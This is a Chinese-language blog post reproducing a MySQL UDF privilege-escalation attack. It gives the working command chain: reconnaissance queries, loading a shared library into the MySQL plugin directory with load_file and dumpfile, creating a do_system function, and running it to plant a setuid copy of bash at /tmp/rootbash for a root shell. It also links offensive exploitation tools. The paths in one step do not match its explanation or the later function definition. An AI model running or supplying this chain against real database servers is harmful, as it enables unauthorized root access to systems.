MYSQL UDF提权漏洞复现
Windows版本
show global variables like "secure%";
show variables like "%plugin%";
select version();

Linux版本
show global variables like '%secure%';

show variables like 'plugin%';

select @@version_compile_os, @@version_compile_machine;

ok确认完安全限制插件路径已经系统,就可以上传.so来提权了
这里使用一个快捷工具https://www.sqlsec.com/tools/udf.html


上次的路径已经要对
上传完后开始创建自定义函数
create table foo(line blob);

如果是从web上传的.so文件这里需要先引入
insert into foo values(load_file('/var/www/blog/images/udf2.so'));
该SQL语句将加载'/var/www/blog/images/udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。
select * from foo into dumpfile '/alidata/server/mysql/lib/plugin/udfff.so';
该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。
然后创建系统函数
create function do_system returns integer soname 'udf2.so';

使用命令select * from mysql.func; 查看我们是否成功创建了函数,如下图,成功创建函数do_system。

顺便提个权
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:
/tmp/rootbash -p
现在就是root了
my.ini 里配置了skip-grant-tables
蛋疼问题
在创建自定义函数create function do_system returns integer soname 'udf2.so';时可能会遇到这个问题,
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,
需要将 my.ini 中的 skip-grant-tables 选项去掉。
否则无法提权
v5est0r 写了一个 MySQL 提权综合利用工具
https://github.com/v5est0r/Python_FuckMySQL
-.-
评论区